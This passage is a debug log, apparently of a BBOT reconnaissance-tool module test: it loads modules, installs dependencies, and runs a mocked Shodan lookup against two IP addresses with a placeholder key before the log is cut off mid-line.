21:46:47,702 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 21:46:47,703 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 21:46:47,704 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 21:46:47,705 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 21:46:47,706 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 21:46:47,708 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 21:46:47,710 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 21:46:47,711 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 21:46:47,713 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 21:46:47,714 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 21:46:47,715 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 21:46:47,717 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 21:46:47,719 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 21:46:47,720 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 21:46:47,721 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 21:46:47,723 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 21:46:47,724 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 21:46:47,726 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 21:46:47,728 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 21:46:47,729 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 21:46:47,730 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 21:46:47,733 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 21:46:47,734 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 21:46:47,735 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 21:46:47,736 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 21:46:47,738 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 21:46:47,760 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 21:46:47,762 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 21:46:47,763 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 21:46:47,765 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 21:46:47,766 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 21:46:47,767 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 21:46:47,768 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 21:46:47,769 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 21:46:47,770 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 21:46:47,771 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 21:46:47,773 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 21:46:47,773 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 21:46:47,775 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 21:46:47,776 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 21:46:47,778 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 21:46:47,780 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 21:46:47,781 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 21:46:47,782 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 21:46:47,783 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 21:46:47,785 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 21:46:47,786 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 21:46:47,787 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 21:46:47,788 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 21:46:47,789 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 21:46:47,790 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 21:46:47,792 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 21:46:47,794 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 21:46:47,795 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 21:46:47,796 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 21:46:47,797 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 21:46:47,798 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 21:46:47,800 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 21:46:47,801 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 21:46:47,802 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 21:46:47,803 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 21:46:47,804 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 21:46:47,805 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 21:46:47,806 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 21:46:47,806 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 21:46:47,809 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 21:46:47,810 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 21:46:47,988 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4625972000 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:46:47,988 [DEBUG] filelock _api.py:334 Lock 4625972000 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:46:47,991 [DEBUG] filelock _api.py:364 Attempting to release lock 4625972000 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:46:47,991 [DEBUG] filelock _api.py:367 Lock 4625972000 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:46:49,170 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 21:46:49,170 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 21:46:49,171 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 21:46:49,317 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 21:46:49,980 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 21:46:49,980 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 21:46:49,981 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 21:46:49,981 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 21:46:50,201 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 21:46:50,202 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 21:46:50,312 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 21:46:50,312 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 21:46:50,371 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 2 targets (2 in whitelist) +2026-02-27 21:46:50,374 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 21:46:50,375 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 21:46:50,884 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 21:46:50,884 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 21:46:53,570 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 21:46:53,571 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 21:46:53,571 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 21:46:55,580 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 21:46:55,581 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 21:46:55,586 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:46:55,587 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 21:46:55,587 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 21:46:55,587 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 21:46:55,591 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/hue374b0nf8pnqvzaqix +2026-02-27 21:46:56,562 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 21:46:56,563 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 21:46:56,563 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:46:56,564 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 21:46:56,564 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:46:56,565 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 21:46:56,565 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:46:56,565 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 21:46:56,566 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 21:46:56,689 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 21:46:56,689 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 21:46:56,689 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 21:46:56,691 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 21:46:56,691 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 21:46:56,691 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 21:46:56,692 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 21:46:56,693 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 21:46:56,693 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 21:46:56,693 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 21:46:56,694 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 21:46:56,694 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 21:46:56,694 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 21:46:56,694 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 21:46:56,694 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 21:46:56,694 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 21:46:56,695 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 21:46:56,695 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 21:46:56,695 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 21:46:56,695 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 21:46:56,695 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 21:46:56,696 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 21:46:56,696 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 21:46:56,696 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 21:46:56,696 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 21:46:56,696 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 21:46:56,696 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 21:46:56,697 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 21:46:56,697 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 21:46:56,697 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 21:46:56,697 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 21:46:56,697 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 21:46:56,697 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 21:46:56,698 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 21:46:56,698 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 21:46:56,698 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 21:46:56,698 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-02-27 21:46:56,699 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 21:46:56,699 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 21:46:56,699 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 21:46:56,699 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 21:46:56,700 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 21:46:56,700 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-02-27 21:46:56,700 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 21:46:56,700 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 21:46:56,840 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_x43wskr6h1 +2026-02-27 21:46:56,840 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 21:46:56,947 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-02-27 21:46:56,948 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 21:46:56,948 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 21:46:56,951 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) +2026-02-27 21:46:56,952 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) +2026-02-27 21:46:57,051 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) passed post-check +2026-02-27 21:46:57,051 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) +2026-02-27 21:46:57,053 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) in-scope because its main host matches the scan target +2026-02-27 21:46:57,054 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 21:46:57,055 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:681606d7dfddb8b9b86be58bb36c13bbfa1440e1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 21:46:57,056 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:681606d7dfddb8b9b86be58bb36c13bbfa1440e1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:46:57,056 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-02-27 21:46:57,057 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 21:46:57,059 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:681606d7dfddb8b9b86be58bb36c13bbfa1440e1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:46:57,059 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) passed post-check +2026-02-27 21:46:57,059 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) +2026-02-27 21:46:57,060 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:681606d7dfddb8b9b86be58bb36c13bbfa1440e1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 21:46:57,061 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:681606d7dfddb8b9b86be58bb36c13bbfa1440e1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:46:57,062 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) in-scope because its main host matches the scan target +2026-02-27 21:46:57,064 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:681606d7dfddb8b9b86be58bb36c13bbfa1440e1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 21:46:57,065 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:681606d7dfddb8b9b86be58bb36c13bbfa1440e1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:46:57,065 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 21:46:57,067 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-02-27 21:46:57,068 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 21:46:57,069 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:681606d7dfddb8b9b86be58bb36c13bbfa1440e1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:46:57,070 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:681606d7dfddb8b9b86be58bb36c13bbfa1440e1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 21:46:57,075 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 21:46:57,076 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-02-27 21:46:57,076 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 21:46:57,077 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 21:46:57,077 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded +2026-02-27 21:46:57,078 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded +2026-02-27 21:46:57,078 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET +2026-02-27 21:46:57,079 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-02-27 21:46:57,079 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 21:46:57,080 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 21:46:57,082 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 +2026-02-27 21:46:57,199 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/1.2.3.4?key=deadbeef HTTP/1.1" 404 None +2026-02-27 21:46:57,217 [ERROR] bbot.modules.shodan_enterprise base.py:1707 Shodan API error: No information available for that IP. +2026-02-27 21:46:57,222 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-02-27 21:46:57,222 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 21:46:57,223 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 21:46:57,224 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 21:46:57,225 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded +2026-02-27 21:46:57,226 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded +2026-02-27 21:46:57,226 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:681606d7dfddb8b9b86be58bb36c13bbfa1440e1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 21:46:57,227 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:681606d7dfddb8b9b86be58bb36c13bbfa1440e1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 21:46:57,227 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET +2026-02-27 21:46:57,228 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-02-27 21:46:57,228 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET +2026-02-27 21:46:57,229 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-02-27 21:46:57,230 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET +2026-02-27 21:46:57,230 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 